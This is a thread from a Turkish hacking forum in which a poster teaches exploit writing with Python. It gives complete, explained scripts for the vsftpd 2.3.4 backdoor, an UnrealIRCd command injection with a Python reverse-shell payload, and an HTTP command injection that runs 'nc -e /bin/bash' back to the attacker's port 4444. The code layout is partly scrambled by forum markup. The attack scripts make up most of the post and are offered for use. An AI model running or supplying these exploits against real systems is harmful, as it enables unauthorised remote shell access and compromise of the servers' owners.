Python ile Exploit Yazmak

'Python' forumunda acemihacker tarafından 1 Temmuz 2018 tarihinde açılan konu

  1. acemihacker

    acemihacker Ötüken Yolcusu Bronz Üye

    Mesaj:
    207
    Beğeniler:
    75
    Cinsiyet:
    Erkek
    Yeniden uzun bir konu ile merhabalar
    Bugün sizlere python ile internet tabanlı exploit yazmayı anlatmaya çalışacağım.
    Bunun içinde en sık örnek gösterilen 3 farklı açıktan yararlanacağım.

    İsterseniz konuya giriş yapalım.

    İnternet tabanlı bir exploit yazmak istiyorsak en başta network programlamayı bilmemiz gerekmekte.
    Python ile network programlamada socket modülü kullanılmaktadır.
    Socket üzerindeki belli parametreler.

    Kod:
    socket.AF_INET   : Yapılacak bağlantıyı IPv4 üzerinden yapmayı sağlar.
    Kod:
    
    
    Kod:
    [/B][/CENTER]
    
    
    socket.AF_INET6 : Yapılacak bağlantıyı IPv6 üzerinden yapmayı sağlar. socket.SOCK_STREAM : Yapılacak bağlantıda TCP protokolünün kullanılmasını sağlar. socket.SOCK_DGRAM : Yapılacak bağlantıda UDP protokolünün kullanılmasını sağlar. socket.connect((h,p)) : Belirtilen IP adresine bağlanır.(Kullanıcı) socket.bind((h,p)) : Belirtilen IP ile portu dinlemeye alır.(Sunucu) socket.listen() : Dinlemeye alınan adrese bağlanacak sayıyı kararlar. socket.accept() : Bağlantı kurmak isteyen kişileri kabul eder. socket.send() : Bağlantı kurulan kişiye veri yollanır. socket.recv() : Bağlantıdan gelecek olan cevabı alır.​



    Bu parametreler ile temel bir bağlantı kurulup iletişime geçilebilir.

    Zaten yazacağımız exploitlerde çok temel düzeyde olacağı için bu parametreler yeterli olacaktır.


    Vsftpd 2.3.4

    Vsftpd açığını seçmemin temel iki nedeni var:
    1- En fazla örnek exploiting işleminin kendi üzerinde geçmesinden dolayı.
    2- Yapılacak olan bağlantıda herhangi bir handler bulunmaması.
    Açığı istismar etmenin yolu ise, kullanıcıya yönelttiği kullanıcı adı sorusuna verilen cevabın sonuna kaçış parametresi olaraktan "[​IMG]" getirerek 6200 portunda bir shell açılması sağlanıyor.
    Bu işlem için yazdığım kod ise şu:

    Kod:
    01| from socket import *
    Kod:
    
    
    Kod:
    
    
    Kod:
    
    
    Kod:
    
    
    02| import sys 03| 04| aux = socket(AF_INET,SOCK_STREAM) 05| host = sys.argv[1] 06| port = int(sys.argv[2]) 07| 08| 09| aux.connect((host,port)) 10| head = aux.recv(1024).strip() 11| if "(vsFTPd 2.3.4)" in head: 12| aux.send("USER something:)\n") 13| aux.recv(1024) 14| aux.send("PASS againsomething\n") 15| aux.close() 16| print "My man! This port has got a vull.\n" 17| else: 18| print "Sorry dude:( This is a normal port\n" 19| exit() 20| 21| 22| exp = socket(AF_INET,SOCK_STREAM) 23| 24| exp.connect((host,6200)) 25| while True: 26| com = raw_input("#") 27| if com == "exit": 28| exp.close() 29| exit() 30| exp.send(com + "\n") 31| print exp.recv(1024)​



    Scriptin ilk 2 kısmında çalıştırılması için hazırlanan socket ve sys modülleri çağırılmış.
    4. satırda yapılacak bağlantının TCP ve IPv4 üzerinde olacağı ve scripti kısa tutmak içinde aux olarak bir değişken vermiş.
    5. ve 6. kısımda ise kulanıcıdan istenilen host ve port parametrelerini alacağı şekil kararlanmış.
    9. satırda belirtilen IP adresi ile porta bağlanılmış. Artık tüm aux değişkenine sahip parametreler bu bağlantı üzerinden işlemlerini yapacak.
    10., 11. ve 17. kısımda ise bağlanılan portun kontrolü yapılmakta.
    12. satırda gönderilen veri ile kaçış parametresinide yollayıp exploiting işleminin ilk adımı yapıldı.
    13. satırda gelicek olan paketi alarak işleme devam ediliyor.
    14. ve 15. satırda son dokunuşu yapıp bağlantıdan çıkılıyor.
    22. satırda yeni değişken ile koda bakıldığında daha anlaşılır bir görüntü olması adına 4. satırdaki gibi değişken veriliyor.
    25. satırda bağlantının gerçekleşmesi durumunda kendi içerisinden çıkış yapılmadığı sürece devam edecek bir while döngüsü açılıyor.
    26. satırda hackerdan gönderilmek istenilen veri isteniyor.
    28. satırda rahatlık açısından hızlı bir çıkış işlemi anlatılıyor.
    32. satırda girilen veri karşı tarafa yollanılıyor.
    33. satırda gönderilen veriye karşılık olaraktan cevap geliyor ve yeniden 26. satıra geçiş yapılıyor.

    .:Hacker abimizin gördüğü:.


    [​IMG]


    .:Ağda olan bitenler:.



    [​IMG]




    Unreal IRC

    Kolay bir açık olmasının yanı sıra exloiting için bir handler kullanabileceğimiz bir açık olmasından dolayı bu açığı tercih ettim.
    Açığı istismar etmek için ise, bağlantı gerçekleştikten sonra bize yollanan paketleri aldıktan sonra bizden beklenen cevabı "AB;" kaçış parametresiyle istismar ettirip sonrasında istediğimiz kodu yazabiliriz.
    Bu işlem için şu scripti yazdım:

    Kod:
    01| from socket import *
    Kod:
    
    
    Kod:
    
    
    Kod:
    
    
    Kod:
    
    
    02| import sys 03| 04| thost, tport = sys.argv[1], int(sys.argv[2]) 05| lhost = '"'+ sys.argv[3] +'"' 06| 07| 08| fir = socket(AF_INET,SOCK_STREAM) 09| 10| fir.connect((thost,tport)) 11| payload = """AB;python -c 'import socket,subprocess,os;pay=socket.socket(socket.AF_INET,socket.SOCK_STREAM);pay.connect((""" + lhost + """,4444));os.dup2(pay.fileno(),0); os.dup2(pay.fileno(),1); os.dup2(pay.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" 12| fir.send(payload) 13| fir.recv(1024) 14| 15| 16| han = socket(AF_INET,SOCK_STREAM) 17| 18| han.bind(("",4444)) 19| han.listen(1) 20| fir.close() 21| cl = han.accept() 22| print cl.recv(1024) 23| while True: 24| sh = cl.recv(1024) 25| send = raw_input(sh) 26| if send == "exit": 27| han.close() 28| exit() 29| cl.send(send + "\n") 30| data = cl.recv(1024) 31| print data​




    Başkısımlarda önceki exploitteki işlemlerin aynısı yapılmış.
    11. satırda bağlantı kurulduktan sonra gönderilecek olan payload modülü tanımlanmış. Modül python ile yazılmış olup amacı hackerın 4444 nolu portuna sh(ell) ile bağlanmak. Bunun içinde ilk kısmında AB; kaçış parametresi görünmekte.
    12. satırda payload gönderiliyor.
    13. satırda sunucunun kalbini kırmamak için cevap paketi alınıyor ancak hackera sunulmuyor.
    18. satırda sunucu tarafından gelecek olan shell bağlantısını yakalayabilmek için bir dinleme portu açılıyor.
    19. satırda bağlanacak kullanıcı sayısının 1 cihaz olması isteniyor.
    20. satırda önceki payload gönderilen bağlantının bitirilmesi isteniyor.
    21. satırda gelecek olan kullanıcının cl adlı değişkene atanması kararlanıyor.
    23. satırda bağlantı olması halinde çalışan while döngüsü bulunmakta.
    Geri kalan kısım önceki exploit ile aynı işlemi yapmakta.

    .:Hacker abimiz ne görüyor?:.


    [​IMG]

    .:Wireshark ne görüyor?:.

    [​IMG]

    Command Injection

    Bu açığı seçmemin de iki nedeni var:
    1- HTTP temeline sahip bir açık olması ve buna göre exploit yazılmasından dolayı.
    2- HTTP ile çok fazla açık var ve hepsi birbirine benzediği için tembelliğimi kullanarak bu açığı seçtim.
    Açığı istismar etmenin yolu, Command Injectionda sizden bir veri ister ve bu veriyi komut satırında çalıştırıp size çıktısını sunar, eğer kaçış dizini olarak "|" parametresini kullanırsanız sonrasında yazdığınız komut çalışır.
    Bu işlemi yapmak için şu scripti yazdım:

    Kod:
    01| from socket import *
    Kod:
    
    
    Kod:
    
    
    Kod:
    
    
    Kod:
    
    
    02| import sys 03| 04| con = socket(AF_INET,SOCK_STREAM) 05| han = socket(AF_INET,SOCK_STREAM) 06| rhost, url, lhost = sys.argv[1], sys.argv[2], sys.argv[3] 07| 08| con.connect((rhost,80)) 09| payload = "GET "+ url +"|%20nc%20"+ lhost +"%204444%20-e%20/bin/bash HTTP/1.1\nHost: "+ rhost +"\n\n" 10| han.bind(("",4444)) 11| han.listen(1) 12| con.send(payload) 13| 14| cl = han.accept() 15| while True: 16| send = raw_input("==>") 17| cl.send(send + "\n") 18| data = cl.recv(1024) 19| print(data)​



    İlk kısımlar yine diğer exploitler ile aynı işlemi yapıyor.
    9. satırda HTTP portuna bir HTTP isteğinde bulunuyoruz. Gönderilen isteke içerisinde command injection yapacak olan komutta bulunmakta.(| nc [IP adresi] [port] -e /bin/bash)
    10-12. satırlarında dinleme işlemi başlatılıp bypass kodunu içeren istek yollanıyor.
    Geri kalan kısımlar diğer exploitler ile aynı.(Umarım fark etmişsinizdir.)

    .:Hacker bey ekrana bakarken:.


    [​IMG]

    .:Wireshark kahvesini yudumluyor:.

    [​IMG]

    ALINTIDIR ARKADAŞLAR!!!

    Arkadaşlar kod verdiğim kısımlarda çok küçük bir tarafı hep üste gitmiş ama neyin ne olduğu anlaşılıyor sorun yok yani :D
     
  2. kurmayturk

    kurmayturk Sicil temiz.. Gümüş Üye

    Mesaj:
    188
    Beğeniler:
    78
    Cinsiyet:
    Erkek
    Eline sağlık yoğun bir anlatım olmuş
     
    acemihacker bunu beğendi.
Yükleniyor...

Bu Sayfayı Paylaş